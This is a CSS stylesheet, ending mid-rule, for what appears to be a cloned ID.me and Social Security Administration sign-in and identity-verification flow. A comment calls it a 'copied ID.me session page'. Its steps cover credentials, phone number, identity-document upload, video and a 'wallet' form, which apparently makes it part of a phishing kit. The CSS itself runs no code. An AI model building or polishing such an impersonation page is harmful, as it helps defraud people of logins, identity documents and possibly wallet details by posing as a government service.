@font-face {
  font-family: "Inter";
  src: url("./assets/fonts/Inter-Regular.woff2") format("woff2");
  font-weight: 400;
  font-style: normal;
  font-display: swap;
}

@font-face {
  font-family: "Inter";
  src: url("./assets/fonts/Inter-Bold.woff2") format("woff2");
  font-weight: 700;
  font-style: normal;
  font-display: swap;
}

:root {
  color-scheme: light;
  --bg-top: #ffffff;
  --bg-bottom: #f5f5f5;
  --panel: rgba(255, 255, 255, 0.99);
  --ink: #34445b;
  --ink-soft: #5c677a;
  --muted: #7f8490;
  --line: #9d9d9d;
  --line-soft: #e7e7e7;
  --accent: #2e6bd6;
  --accent-hover: #255dc0;
  --green: #108b42;
  --green-soft: #dff4e8;
  --info: #edf6ff;
  --shadow: 0 18px 45px rgba(53, 65, 89, 0.15);
  --radius: 24px;
  --bg-break: 188px;
  --brand-idme: 175px;
  --brand-ssa: 94px;
}

* {
  box-sizing: border-box;
  letter-spacing: 0;
}

html,
body {
  min-height: 100%;
  margin: 0;
  overflow-x: hidden;
}

body {
  color: var(--ink);
  background: linear-gradient(180deg, var(--bg-top) 0 var(--bg-break), var(--bg-bottom) var(--bg-break) 100%);
  font-family: "Inter", "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif;
  -webkit-font-smoothing: antialiased;
  text-rendering: optimizeLegibility;
}

body[data-step="2"] {
  --bg-break: 188px;
}

body[data-step="1"] {
  --bg-break: 126px;
}

body[data-step="3"] {
  --bg-break: 129px;
}

body[data-step="4"],
body[data-step="5"],
body[data-step="6"],
body[data-step="7"],
body[data-step="8"],
body[data-step="9"] {
  --bg-break: 129px;
}

a {
  color: var(--accent);
  text-decoration-thickness: 1px;
  text-underline-offset: 2px;
}

button,
input {
  font: inherit;
}

button {
  border: 0;
  background: none;
  color: inherit;
  cursor: pointer;
}

input {
  color: var(--ink);
}

.field {
  display: block;
}

.sr-only {
  position: absolute;
  width: 1px;
  height: 1px;
  padding: 0;
  margin: -1px;
  overflow: hidden;
  clip: rect(0, 0, 0, 0);
  white-space: nowrap;
  border: 0;
}

.page {
  min-height: 100dvh;
  display: flex;
  flex-direction: column;
}

.brand-strip {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 26px;
  padding: 24px 24px 16px;
}

.brand-idme {
  width: var(--brand-idme);
  height: auto;
  display: block;
}

.brand-ssa {
  width: var(--brand-ssa);
  height: auto;
  display: block;
}

.brand-plus {
  color: #344461;
  font-size: 3.7rem;
  line-height: 1;
  transform: translateY(-2px);
}

.stage {
  flex: 1;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: flex-start;
  padding: 24px 24px 18px;
}

.flow {
  display: none;
  width: 100%;
  margin-top: 28px;
}

.panel {
  width: min(952px, calc(100vw - 48px));
  margin: 0 auto;
  border-radius: var(--radius);
  background: var(--panel);
  border: 1px solid rgba(54, 63, 79, 0.08);
  box-shadow: var(--shadow);
}

.panel--narrow {
  width: min(475px, calc(100vw - 48px));
}

.flow-signin .panel--wide {
  min-height: 0;
}

.flow-verify .panel--wide {
  min-height: 955px;
}

.panel-inner {
  margin: 0 auto;
}

.panel-inner--signin,
.panel-inner--verify {
  max-width: 812px;
  padding: 56px 72px 50px;
}

.panel-inner--signin {
  padding: 40px;
}

.panel-inner--signin h1 {
  font-size: 1.75rem;
  line-height: 1.2;
  letter-spacing: 0;
}

.panel-inner--verify {
  padding-top: 70px;
  padding-bottom: 70px;
}

.panel-inner--identity {
  max-width: none;
  padding: 40px 40px 38px;
}

h1,
h2,
p {
  margin: 0;
}

h1 {
  font-size: clamp(2.65rem, 3.7vw, 4rem);
  line-height: 1.05;
  text-align: center;
  font-weight: 700;
  letter-spacing: -0.03em;
}

h2 {
  font-size: clamp(2.3rem, 3vw, 3.4rem);
  line-height: 1.15;
  font-weight: 700;
  letter-spacing: -0.03em;
  text-align: center;
}

.field-label {
  display: block;
  margin: 0 0 8px;
  color: var(--ink);
  font-size: 1.15rem;
  font-weight: 700;
}

.field-label--phone {
  margin-bottom: 7px;
}

.signin-form {
  margin-top: 26px;
}

.signin-form .field + .field {
  margin-top: 20px;
}

.panel-inner--signin .field-label {
  font-size: 0.95rem;
  margin-bottom: 8px;
}

.panel-inner--signin .field input {
  height: 52px;
  padding: 0 14px;
  border-width: 1px;
  border-radius: 4px;
  font-size: 1rem;
}

.field input {
  width: 100%;
  height: 118px;
  padding: 0 28px;
  border: 4px solid var(--line);
  border-radius: 10px;
  background: #fff;
  color: var(--ink);
  font-size: 1.65rem;
  outline: none;
}

.field input::placeholder {
  color: #8a8a8a;
  opacity: 1;
}

.field input:focus {
  border-color: #8c8c8c;
}

.field.has-error input,
.phone-field.has-error input {
  border-color: #ba0000;
}

.form-error {
  display: none;
  margin-top: 8px;
  color: #ba0000;
  font-size: 0.92rem;
  font-weight: 700;
  line-height: 1.3;
}

.field.has-error .form-error,
.phone-field.has-error .form-error {
  display: block;
}

.check-row {
  display: inline-flex;
  align-items: center;
  gap: 18px;
  margin-top: 36px;
  color: var(--ink);
  font-size: 1.44rem;
  font-weight: 700;
  cursor: pointer;
  user-select: none;
}

.panel-inner--signin .check-row {
  gap: 10px;
  margin-top: 20px;
  font-size: 0.95rem;
}

.panel-inner--signin .check-row input {
  width: 24px;
  height: 24px;
}

.panel-inner--signin .check-row input::before {
  left: 7px;
  top: 4px;
  width: 7px;
  height: 12px;
  border-right-width: 3px;
  border-bottom-width: 3px;
}

.check-row input {
  appearance: none;
  width: 34px;
  height: 34px;
  margin: 0;
  border-radius: 5px;
  background: #0f8f43;
  position: relative;
  box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.03);
}

.check-row input::before {
  content: "";
  position: absolute;
  left: 9px;
  top: 5px;
  width: 10px;
  height: 18px;
  border-right: 4px solid #fff;
  border-bottom: 4px solid #fff;
  transform: rotate(45deg);
  opacity: 0;
}

.check-row input:checked::before {
  opacity: 1;
}

.primary-btn {
  display: block;
  width: 100%;
  border-radius: 10px;
  background: var(--accent);
  color: #fff;
  font-weight: 500;
  box-shadow: inset 0 -1px 0 rgba(255, 255, 255, 0.12);
}

.primary-btn:hover {
  background: var(--accent-hover);
}

.primary-btn--xl {
  min-height: 108px;
  margin-top: 54px;
  font-size: 1.66rem;
}

.panel-inner--signin .primary-btn--xl {
  min-height: 52px;
  margin-top: 28px;
  border-radius: 4px;
  font-size: 1rem;
  font-weight: 600;
}

.primary-btn--lg {
  min-height: 84px;
  margin: 76px auto 0;
  font-size: 1.48rem;
}

.primary-btn--md {
  min-height: 52px;
  margin: 30px auto 0;
  font-size: 1.18rem;
}

.cta,
.verify-link,
.identity-links {
  text-align: center;
}

.cta {
  margin-top: 48px;
  font-size: 1.18rem;
  color: #47556d;
}

.panel-inner--signin .cta {
  margin-top: 24px;
  font-size: 0.94rem;
}

.cta a,
.verify-link a,
.identity-links a,
.footer-links a,
.doc-card a,
.text-link,
.document-switcher button {
  color: var(--accent);
  text-decoration: underline;
  text-underline-offset: 2px;
  text-decoration-thickness: 1px;
}

.text-link {
  min-height: 44px;
  padding: 0;
  font-size: 1.01rem;
  font-weight: 700;
}

.eyebrow {
  text-align: center;
  font-size: 1.05rem;
  font-weight: 700;
  letter-spacing: 0.19em;
  text-transform: uppercase;
  color: var(--ink);
}

.panel-inner--verify h2 {
  max-width: 650px;
  margin: 70px auto 0;
}

.verify-options {
  max-width: 705px;
  margin: 68px auto 0;
  display: grid;
  gap: 54px;
}

.verify-option {
  display: grid;
  grid-template-columns: 34px 1fr;
  gap: 26px;
  align-items: start;
  padding: 0;
  text-align: left;
  cursor: pointer;
}

.radio {
  width: 35px;
  height: 35px;
  border-radius: 999px;
  border: 3px solid #a8a8a8;
  background: #fff;
  position: relative;
  margin-top: 6px;
  flex: 0 0 auto;
}

.radio--selected {
  border-color: var(--green);
  box-shadow: 0 0 0 1px rgba(16, 139, 66, 0.16);
}

.radio--selected::after {
  content: "";
  position: absolute;
  inset: 6px;
  border-radius: 50%;
  background: var(--green);
}

.verify-copy {
  display: flex;
  flex-direction: column;
  gap: 10px;
}

.verify-title {
  font-size: 1.48rem;
  font-weight: 700;
  line-height: 1.1;
  color: var(--ink);
}

.verify-time {
  font-size: 1.24rem;
  font-weight: 500;
  line-height: 1.2;
  color: var(--green);
}

.verify-text {
  font-size: 1.28rem;
  line-height: 1.35;
  color: #485365;
  max-width: 560px;
}

.verify-link {
  margin-top: 46px;
  font-size: 1.16rem;
  font-weight: 500;
}

.eyebrow--compact {
  margin-bottom: 18px;
}

.progress {
  list-style: none;
  display: grid;
  grid-template-columns: repeat(5, 1fr);
  gap: 0;
  align-items: center;
  width: min(100%, 260px);
  margin: 0 auto;
  padding: 0;
  position: relative;
}

.progress::before {
  content: "";
  position: absolute;
  left: 14px;
  right: 14px;
  top: 50%;
  height: 1px;
  background: #d5d5d5;
  transform: translateY(-50%);
}

.progress-step {
  width: 28px;
  height: 28px;
  margin: 0 auto;
  border-radius: 50%;
  border: 1px solid #cdcdcd;
  background: #fff;
  color: #8e8e8e;
  display: grid;
  place-items: center;
  font-size: 0.9rem;
  font-weight: 700;
  position: relative;
  z-index: 1;
}

.progress-step.is-active {
  background: #1562de;
  border-color: #1562de;
  color: #fff;
  box-shadow: 0 0 0 3px rgba(21, 98, 222, 0.13);
}

.progress-step.is-complete {
  background: #108b42;
  border-color: #108b42;
  color: #fff;
}

.identity-title {
  margin-top: 28px;
  font-size: 1.5rem;
  line-height: 1.2;
  max-width: 350px;
  margin-left: auto;
  margin-right: auto;
}

.identity-intro {
  margin: 16px auto 0;
  max-width: 334px;
  text-align: center;
  font-size: 1.04rem;
  line-height: 1.35;
  color: #4d5869;
}

.doc-section {
  margin-top: 16px;
}

.doc-label {
  margin-bottom: 8px;
  color: var(--ink);
  font-size: 1.02rem;
  font-weight: 700;
}

.doc-card {
  display: flex;
  justify-content: space-between;
  align-items: center;
  gap: 16px;
  min-height: 59px;
  padding: 14px 20px;
  border-radius: 4px;
  background: var(--info);
  color: var(--ink);
  font-size: 1.01rem;
  font-weight: 700;
}

.doc-card strong {
  flex: 1 1 auto;
  font-weight: 700;
  min-width: 0;
  white-space: nowrap;
}

.doc-card .text-link {
  flex: 0 0 auto;
  white-space: nowrap;
}

.document-switcher {
  display: grid;
  gap: 9px;
  margin-top: 12px;
  padding-left: 2px;
}

.document-switcher button {
  min-height: 28px;
  padding: 0;
  text-align: left;
  font-size: 0.98rem;
  font-weight: 700;
  line-height: 1.35;
}

.document-switcher button:focus-visible {
  outline: 2px solid rgba(46, 107, 214, 0.45);
  outline-offset: 3px;
}

.document-switcher.is-attention button:first-child {
  color: var(--accent-hover);
}

.phone-field {
  display: block;
  margin-top: 20px;
}

.phone-input-wrap {
  display: block;
  position: relative;
}

.phone-input-wrap input {
  width: 100%;
  height: 59px;
  padding: 0 14px 0 50px;
  border: 2px solid #9f9f9f;
  border-radius: 4px;
  background: #fff;
  font-size: 1.08rem;
  outline: none;
}

.phone-input-wrap input:focus {
  border-color: #7b7b7b;
}

.phone-prefix {
  position: absolute;
  left: 11px;
  top: 50%;
  transform: translateY(-50%);
  display: inline-flex;
  align-items: center;
  gap: 4px;
  color: #626262;
  pointer-events: none;
}

.phone-prefix svg {
  width: 22px;
  height: 15px;
  display: block;
}

.caret {
  font-size: 0.65rem;
  transform: translateY(1px);
}

.info-callout {
  margin-top: 30px;
  padding: 18px 12px;
  border-radius: 2px;
  background: var(--info);
  text-align: center;
  font-size: 0.98rem;
  font-weight: 700;
  line-height: 1.34;
}

.identity-copy {
  margin: 28px auto 0;
  max-width: 360px;
  text-align: center;
  font-size: 0.98rem;
  line-height: 1.38;
  color: #4e5968;
}

.identity-intro strong {
  font-weight: 700;
}

.upload-list {
  display: grid;
  gap: 14px;
  margin-top: 28px;
}

.upload-box {
  position: relative;
  display: grid;
  grid-template-columns: 1fr auto;
  align-items: center;
  gap: 14px;
  min-height: 62px;
  padding: 14px 16px;
  border: 2px dashed #a8a8a8;
  border-radius: 6px;
  background: #fff;
  color: var(--ink);
  font-size: 0.98rem;
  font-weight: 700;
}

.upload-box input {
  position: absolute;
  opacity: 0;
  pointer-events: none;
}

.upload-box strong {
  color: var(--accent);
  font-weight: 700;
  text-decoration: underline;
  text-underline-offset: 2px;
  white-space: nowrap;
}

.upload-error.is-visible {
  display: block;
  text-align: left;
}

.wallet-form {
  display: grid;
  gap: 18px;
  margin-top: 28px;
}

.compact-field input {
  height: 58px;
  border-width: 2px;
  border-radius: 5px;
  font-size: 1rem;
  padding: 0 16px;
}

.identity-links {
  display: grid;
  gap: 34px;
  margin-top: 24px;
  font-size: 1.03rem;
  font-weight: 600;
}

.site-footer {
  padding: 18px 24px 28px;
  display: grid;
  justify-items: center;
  gap: 20px;
}

.language-selection {
  display: grid;
  justify-items: center;
  gap: 10px;
}

.language-selection-toggle {
  display: inline-flex;
  align-items: center;
  gap: 6px;
  color: var(--accent);
  font-size: 1.06rem;
  font-weight: 600;
  cursor: pointer;
}

.language-selection-toggle svg {
  width: 12px;
  height: 8px;
  color: #9b9b9b;
  flex: 0 0 auto;
}

.language-selection-list {
  display: flex;
  gap: 10px;
}

.language-selection-list[hidden] {
  display: none;
}

.language-selection-list .option {
  min-height: 38px;
  padding: 0 12px;
  border: 1px solid #d6d6d6;
  border-radius: 4px;
  background: #fff;
  color: var(--ink);
  font-weight: 700;
}

.footer-links {
  display: flex;
  flex-wrap: wrap;
  align-items: center;
  justify-content: center;
  gap: 16px;
  color: var(--accent);
  font-size: 1.05rem;
  font-weight: 600;
}

.footer-links span {
  color: #495466;
}

.flow.is-visible {
  display: block;
}

.page[data-step="1"] {
  --brand-idme: 112px;
  --brand-ssa: 72px;
}

.page[data-step="2"] {
  --brand-idme: 128px;
  --brand-ssa: 111px;
}

.page[data-step="3"] {
  --brand-idme: 86px;
  --brand-ssa: 68px;
}

.page[data-step="4"],
.page[data-step="5"],
.page[data-step="6"],
.page[data-step="7"],
.page[data-step="8"],
.page[data-step="9"] {
  --brand-idme: 86px;
  --brand-ssa: 68px;
}

.page[data-step="1"] .brand-strip {
  gap: 16px;
  padding-top: 24px;
  padding-bottom: 22px;
}

.page[data-step="1"] .stage {
  padding-top: 0;
}

.page[data-step="1"] .flow {
  margin-top: 0;
}

.page[data-step="1"] .panel--wide {
  width: min(475px, calc(100vw - 48px));
  border-radius: 12px;
  border: 0;
  box-shadow: 0 0 25px rgba(0, 0, 0, 0.2);
}

.page[data-step="1"] .language-selection {
  display: none;
}

.page[data-step="1"] .brand-plus {
  display: block;
  font-size: 2rem;
  transform: translateY(-1px);
}

.page[data-step="1"] .panel-inner--signin {
  max-width: none;
  padding: 40px;
}

.page[data-step="1"] .panel-inner--signin h1 {
  font-size: 1.75rem;
  line-height: 1.2;
  letter-spacing: 0;
}

.page[data-step="1"] .signin-form {
  margin-top: 26px;
}

.page[data-step="1"] .signin-form .field + .field {
  margin-top: 20px;
}

.page[data-step="1"] .field-label {
  font-size: 0.95rem;
  margin-bottom: 8px;
}

.page[data-step="1"] .field input {
  height: 52px;
  padding: 0 14px;
  border: 1px solid var(--line);
  border-radius: 4px;
  font-size: 1rem;
}

.page[data-step="1"] .check-row {
  gap: 10px;
  margin-top: 20px;
  font-size: 0.95rem;
}

.page[data-step="1"] .check-row input {
  width: 24px;
  height: 24px;
}

.page[data-step="1"] .check-row input::before {
  left: 7px;
  top: 4px;
  width: 7px;
  height: 12px;
  border-right-width: 3px;
  border-bottom-width: 3px;
}

.page[data-step="1"] .primary-btn--xl {
  min-height: 52px;
  margin-top: 28px;
  border-radius: 4px;
  font-size: 1rem;
  font-weight: 600;
}

.page[data-step="1"] .cta {
  margin-top: 24px;
  font-size: 0.94rem;
}

.page[data-step="2"] .stage {
  padding-top: 20px;
}

.page[data-step="2"] .flow {
  margin-top: 0;
}

.page[data-step="2"] .panel--wide {
  width: min(760px, calc(100vw - 48px));
}

.page[data-step="2"] .panel-inner--verify {
  max-width: none;
  padding-left: 64px;
  padding-right: 64px;
}

.page[data-step="2"] .panel-inner--verify h2 {
  font-size: 2rem;
}

.page[data-step="1"] .flow-signin,
.page[data-step="2"] .flow-verify,
.page[data-step="3"] .flow-identity {
  display: block;
}

.page[data-step="4"] .flow-sent,
.page[data-step="5"] .flow-upload,
.page[data-step="6"] .flow-unavailable,
.page[data-step="7"] .flow-video,
.page[data-step="8"] .flow-wallet,
.page[data-step="9"] .flow-done {
  display: block;
}

.page[data-step="3"] .brand-strip {
  padding-top: 22px;
  padding-bottom: 20px;
}

.page[data-step="4"] .brand-strip,
.page[data-step="5"] .brand-strip,
.page[data-step="6"] .brand-strip,
.page[data-step="7"] .brand-strip,
.page[data-step="8"] .brand-strip,
.page[data-step="9"] .brand-strip {
  padding-top: 22px;
  padding-bottom: 20px;
}

.page[data-step="3"] .brand-plus {
  font-size: 2rem;
}

.page[data-step="4"] .brand-plus,
.page[data-step="5"] .brand-plus,
.page[data-step="6"] .brand-plus,
.page[data-step="7"] .brand-plus,
.page[data-step="8"] .brand-plus,
.page[data-step="9"] .brand-plus {
  font-size: 2rem;
}

.page[data-step="3"] .stage {
  padding-top: 0;
  flex: 0 0 auto;
}

.page[data-step="4"] .stage,
.page[data-step="5"] .stage,
.page[data-step="6"] .stage,
.page[data-step="7"] .stage,
.page[data-step="8"] .stage,
.page[data-step="9"] .stage {
  padding-top: 0;
  flex: 0 0 auto;
}

.page[data-step="3"] .flow {
  margin-top: 0;
}

.page[data-step="4"] .flow,
.page[data-step="5"] .flow,
.page[data-step="6"] .flow,
.page[data-step="7"] .flow,
.page[data-step="8"] .flow,
.page[data-step="9"] .flow {
  margin-top: 0;
}

.page[data-step="3"] .panel--narrow {
  margin-top: 0;
}

.page[data-step="3"] .site-footer {
  padding-top: 12px;
  gap: 24px;
}

.page[data-step="4"] .site-footer,
.page[data-step="5"] .site-footer,
.page[data-step="6"] .site-footer,
.page[data-step="7"] .site-footer,
.page[data-step="8"] .site-footer,
.page[data-step="9"] .site-footer {
  padding-top: 12px;
  gap: 24px;
}

@media (max-width: 1024px) {
  .panel-inner--signin,
  .panel-inner--verify {
    padding-left: 48px;
    padding-right: 48px;
  }

  .panel-inner--identity {
    padding-left: 26px;
    padding-right: 26px;
  }

  .page[data-step="3"] .panel-inner--identity {
    padding-left: 40px;
    padding-right: 40px;
  }

  h1 {
    font-size: clamp(2.35rem, 5vw, 3.7rem);
  }

  h2 {
    font-size: clamp(2rem, 4vw, 3rem);
  }
}

@media (max-width: 760px) {
  body {
    --bg-break: 126px;
    background: linear-gradient(180deg, #fff 0 var(--bg-break), #f5f5f5 var(--bg-break) 100%);
  }

  body[data-step="1"] {
    --bg-break: 102px;
  }

  .page[data-step="1"],
  .page[data-step="2"] {
    --brand-idme: 118px;
    --brand-ssa: 64px;
  }

  .page[data-step="3"],
  .page[data-step="4"],
  .page[data-step="5"],
  .page[data-step="6"],
  .page[data-step="7"],
  .page[data-step="8"],
  .page[data-step="9"] {
    --brand-idme: 86px;
    --brand-ssa: 64px;
  }

  .brand-strip {
    gap: 14px;
    padding: 16px 14px 10px;
  }

  .brand-plus {
    font-size: 2.4rem;
  }

  .stage {
    padding: 8px 12px 12px;
  }

  .flow,
  .page[data-step="1"] .flow,
  .page[data-step="2"] .flow,
  .page[data-step="3"] .flow {
    margin-top: 0;
  }

  .page[data-step="2"] .panel--wide {
    width: min(100%, calc(100vw - 24px));
  }

  .panel,
  .panel--narrow {
    width: min(100%, calc(100vw - 24px));
    border-radius: 18px;
  }

  .panel-inner--signin,
  .panel-inner--verify,
  .panel-inner--identity {
    padding-left: clamp(1rem, 5vw, 1.6rem);
    padding-right: clamp(1rem, 5vw, 1.6rem);
  }

  .flow-signin .panel--wide,
  .flow-verify .panel--wide {
    min-height: 0;
  }

  .panel-inner--signin {
    padding-top: 34px;
    padding-bottom: 32px;
  }

  .panel-inner--verify {
    padding-top: 34px;
    padding-bottom: 34px;
  }

  .panel-inner--identity {
    padding-top: 28px;
    padding-bottom: 28px;
  }

  h1 {
    font-size: clamp(2rem, 8vw, 2.55rem);
  }

  h2 {
    font-size: clamp(1.45rem, 6.5vw, 2.15rem);
  }

  .signin-form {
    margin-top: 30px;
  }

  .signin-form .field + .field {
    margin-top: 18px;
  }

  .field-label {
    font-size: 1rem;
    margin-bottom: 6px;
  }

  .field input {
    height: 64px;
    border-width: 2px;
    border-radius: 6px;
    padding: 0 18px;
    font-size: 1.08rem;
  }

  .check-row {
    gap: 12px;
    margin-top: 24px;
    font-size: 1.08rem;
  }

  .check-row input {
    width: 28px;
    height: 28px;
    border-radius: 5px;
  }

  .check-row input::before {
    left: 8px;
    top: 4px;
    width: 8px;
    height: 15px;
    border-right-width: 4px;
    border-bottom-width: 4px;
  }

  .primary-btn--xl {
    min-height: 58px;
    margin-top: 30px;
    font-size: 1.08rem;
  }

  .primary-btn--lg {
    min-height: 58px;
    margin-top: 34px;
    font-size: 1.08rem;
  }

  .primary-btn--md {
    min-height: 50px;
    margin-top: 24px;
    font-size: 1rem;
  }

  .cta {
    margin-top: 24px;
    font-size: 0.96rem;
  }

  .eyebrow {
    font-size: 0.78rem;
    line-height: 1.3;
    letter-spacing: 0.18em;
  }

  .panel-inner--verify h2 {
    max-width: 21rem;
    margin-top: 28px;
  }

  .page[data-step="2"] .panel-inner--verify h2 {
    font-size: 1.55rem;
  }

  .verify-options {
    margin-top: 30px;
    gap: 28px;
  }

  .verify-title {
    font-size: 1.06rem;
  }

  .verify-time,
  .verify-text {
    font-size: 0.96rem;
  }

  .verify-option {
    gap: 13px;
    grid-template-columns: 28px 1fr;
    min-height: 44px;
  }

  .radio {
    width: 28px;
    height: 28px;
    border-width: 3px;
  }

  .radio--selected::after {
    inset: 5px;
  }

  .verify-link {
    margin-top: 24px;
    font-size: 0.95rem;
  }

  .progress {
    width: min(100%, 220px);
  }

  .progress-step {
    width: 26px;
    height: 26px;
    font-size: 0.82rem;
  }

  .identity-title {
    margin-top: 24px;
    font-size: clamp(1.48rem, 6.8vw, 1.8rem);
  }

  .identity-intro,
  .identity-copy {
    font-size: 0.92rem;
  }

  .doc-section {
    margin-top: 14px;
  }

  .doc-label {
    font-size: 0.94rem;
  }

  .doc-card {
    gap: 10px;
    padding: 12px 13px;
    font-size: 0.9rem;
  }

  .text-link,
  .document-switcher button {
    font-size: 0.9rem;
  }

  .phone-field {
    margin-top: 18px;
  }

  .phone-input-wrap input {
    height: 54px;
    font-size: 1rem;
  }

  .info-callout {
    margin-top: 24px;
    padding: 14px 12px;
    font-size: 0.86rem;
  }

  .identity-copy {
    margin-top: 24px;
  }

  .identity-links {
    gap: 18px;
    font-size: 0.93rem;
  }

  .site-footer {
    padding: 14px 14px 20px;
    gap: 14px;
  }

  .footer-links {
    font-size: 0.9rem;
  }

  .language-selection-toggle {
    font-size: 0.9rem;
  }

  .footer-links {
    gap: 8px 10px;
  }

  .page[data-step="1"] {
    --brand-idme: 100px;
    --brand-ssa: 64px;
  }

  .page[data-step="1"] .brand-strip {
    gap: 12px;
    padding-top: 16px;
    padding-bottom: 18px;
  }

  .page[data-step="1"] .panel--wide {
    width: min(475px, calc(100vw - 24px));
  }

  .page[data-step="1"] .panel-inner--signin {
    padding: 28px 24px;
  }

  .page[data-step="1"] .panel-inner--signin h1 {
    font-size: 1.85rem;
  }

  .page[data-step="1"] .field input {
    height: 52px;
    padding: 0 14px;
    border-width: 1px;
    border-radius: 4px;
    font-size: 1rem;
  }

  .page[data-step="1"] .check-row {
    margin-top: 18px;
    font-size: 0.95rem;
  }

  .page[data-step="1"] .primary-btn--xl {
    min-height: 52px;
    margin-top: 24px;
    font-size: 1rem;
  }
}

@media (max-width: 479px) {
  body {
    --bg-break: 84px;
    background: linear-gradient(180deg, #fff 0 var(--bg-break), #f5f5f5 var(--bg-break) 100%);
  }

  .page[data-step="1"],
  .page[data-step="2"] {
    --brand-idme: 96px;
    --brand-ssa: 52px;
  }

  .page[data-step="3"],
  .page[data-step="4"],
  .page[data-step="5"],
  .page[data-step="6"],
  .page[data-step="7"],
  .page[data-step="8"],
  .page[data-step="9"] {
    --brand-idme: 82px;
    --brand-ssa: 56px;
  }

  .page {
    display: block;
  }

  .brand-strip {
    gap: 11px;
    padding-top: 12px;
    padding-bottom: 8px;
  }

  .page[data-step="3"] .brand-strip,
  .page[data-step="4"] .brand-strip,
  .page[data-step="5"] .brand-strip,
  .page[data-step="6"] .brand-strip,
  .page[data-step="7"] .brand-strip,
  .page[data-step="8"] .brand-strip,
  .page[data-step="9"] .brand-strip {
    padding-top: 14px;
    padding-bottom: 12px;
  }

  .brand-plus {
    font-size: 2rem;
  }

  .stage {
    display: block;
    padding: 0;
  }

  .panel,
  .panel--narrow {
    width: 100%;
    max-width: none;
    border: 0;
    border-radius: 0;
    box-shadow: 0 0 25px rgba(0, 0, 0, 0.2);
  }

  .page[data-step="2"] .panel--wide {
    width: 100%;
    max-width: none;
  }

  .panel-inner--signin,
  .panel-inner--verify,
  .panel-inner--identity {
    padding-left: 30px;
    padding-right: 30px;
  }

  .page[data-step="3"] .panel-inner--identity,
  .page[data-step="4"] .panel-inner--identity,
  .page[data-step="5"] .panel-inner--identity,
  .page[data-step="6"] .panel-inner--identity,
  .page[data-step="7"] .panel-inner--identity,
  .page[data-step="8"] .panel-inner--identity,
  .page[data-step="9"] .panel-inner--identity {
    padding-left: 30px;
    padding-right: 30px;
  }

  .panel-inner--signin,
  .panel-inner--verify {
    padding-top: 28px;
    padding-bottom: 28px;
  }

  .panel-inner--identity {
    padding-top: 24px;
    padding-bottom: 24px;
  }

  h1 {
    font-size: clamp(1.72rem, 8.2vw, 2rem);
  }

  h2 {
    font-size: clamp(1.3rem, 6.8vw, 1.62rem);
  }

  .signin-form {
    margin-top: 24px;
  }

  .signin-form .field + .field {
    margin-top: 16px;
  }

  .field input {
    height: 58px;
    font-size: 1rem;
  }

  .check-row {
    margin-top: 20px;
  }

  .primary-btn--xl,
  .primary-btn--lg {
    min-height: 54px;
    margin-top: 24px;
  }

  .panel-inner--verify h2 {
    margin-top: 22px;
  }

  .page[data-step="2"] .panel-inner--verify h2 {
    font-size: 1.38rem;
  }

  .verify-options {
    margin-top: 24px;
    gap: 24px;
  }

  .verify-copy {
    gap: 7px;
  }

  .verify-text {
    line-height: 1.32;
  }

  .doc-card {
    align-items: flex-start;
    flex-direction: column;
  }

  .identity-title {
    max-width: 18rem;
  }

  .identity-intro {
    max-width: 18rem;
  }

  .footer-links span {
    display: inline;
  }

  .footer-links {
    display: flex;
    gap: 4px 7px;
    font-size: 0.84rem;
  }

  .page[data-step="1"] {
    --brand-idme: 90px;
    --brand-ssa: 58px;
  }

  .page[data-step="1"] .brand-strip {
    gap: 10px;
    padding-top: 14px;
    padding-bottom: 18px;
  }

  .page[data-step="1"] .panel-inner--signin {
    padding: 28px 30px;
  }

}

@media (max-width: 360px) {
  .page[data-step="1"],
  .page[data-step="2"] {
    --brand-idme: 86px;
    --brand-ssa: 47px;
  }

  .page[data-step="3"],
  .page[data-step="4"],
  .page[data-step="5"],
  .page[data-step="6"],
  .page[data-step="7"],
  .page[data-step="8"],
  .page[data-step="9"] {
    --brand-idme: 76px;
    --brand-ssa: 50px;
  }

  .brand-plus {
    font-size: 1.7rem;
  }

  .panel-inner--signin,
  .panel-inner--verify,
  .panel-inner--identity {
    padding-left: 24px;
    padding-right: 24px;
  }

  .page[data-step="3"] .panel-inner--identity,
  .page[data-step="4"] .panel-inner--identity,
  .page[data-step="5"] .panel-inner--identity,
  .page[data-step="6"] .panel-inner--identity,
  .page[data-step="7"] .panel-inner--identity,
  .page[data-step="8"] .panel-inner--identity,
  .page[data-step="9"] .panel-inner--identity {
    padding-left: 24px;
    padding-right: 24px;
  }

  .eyebrow {
    font-size: 0.7rem;
  }

  .identity-links {
    font-size: 0.86rem;
  }

  .page[data-step="1"] {
    --brand-idme: 82px;
    --brand-ssa: 52px;
  }
}

/* Reference alignment: copied ID.me session page, shared across every step. */
:root {
  --bg-top: #ffffff;
  --bg-bottom: #f5f5f5;
  --bg-break: 135px;
  --panel: #ffffff;
  --ink: #2e3f51;
  --ink-soft: #2e3f51;
  --muted: #757575;
  --line: #949494;
  --line-soft: #dfdfdf;
  --accent: #266aca;
  --accent-hover: #3069bb;
  --green: #08833d;
  --info: #f2faff;
  --shadow: 0 0 25px rgba(0, 0, 0, 0.2);
  --radius: 12px;
  --brand-idme: 80px;
  --brand-ssa: 60px;
  --form-width: 475px;
  --form-padding: 40px;
  --form-content-width: 395px;
}

html,
body {
  height: 100%;
}

body,
body[data-step] {
  --bg-break: 135px;
  background: #ffffff;
  color: #000000;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 62.5%;
  line-height: 1;
}

.page {
  min-height: 100vh;
  display: block;
  background: linear-gradient(to bottom, #ffffff 135px, #f5f5f5 0);
}

.page[data-step] {
  --brand-idme: 80px;
  --brand-ssa: 60px;
}

.brand-strip {
  width: min(var(--form-width), 100%);
  height: auto;
  margin: 0 auto;
  padding: 25px 10px 30px;
  gap: 25px;
  align-items: center;
  justify-content: center;
}

.page[data-step] .brand-strip {
  gap: 25px;
  padding: 25px 10px 30px;
}

.brand-idme {
  width: var(--brand-idme);
  height: auto;
}

.brand-plus,
.page[data-step] .brand-plus {
  display: block;
  width: 15px;
  height: 15px;
  flex: 0 0 15px;
  transform: none;
}

.brand-ssa {
  width: var(--brand-ssa);
  height: var(--brand-ssa);
  object-fit: contain;
}

.stage,
.page[data-step] .stage {
  display: block;
  flex: none;
  padding: 0;
}

.flow,
.page[data-step] .flow {
  width: 100%;
  margin-top: 0;
}

.panel,
.panel--wide,
.panel--narrow,
.page[data-step] .panel--wide,
.page[data-step] .panel--narrow {
  width: min(var(--form-width), 100%);
  max-width: var(--form-width);
